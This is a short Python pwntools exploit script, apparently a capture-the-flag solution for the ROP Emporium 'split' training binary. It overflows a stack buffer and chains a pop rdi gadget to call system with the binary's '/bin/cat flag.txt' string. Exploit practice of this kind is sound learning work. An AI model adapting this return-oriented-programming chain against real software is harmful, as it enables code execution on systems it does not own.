#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
from pwn import *

context.log_level = 'critical'

elf = ELF('./split')
cat = p64(elf.symbols['usefulString'])  # /bin/cat flag.txt

rop = "A" * 40
rop += p64(0x400883)                     # pop rdi ; ret
rop += cat
rop += p64(0x400810)                     # system in usefulFunction

p = elf.process()
print p.recvuntil('>')
p.sendline(rop)
p.recv()
p.interactive()
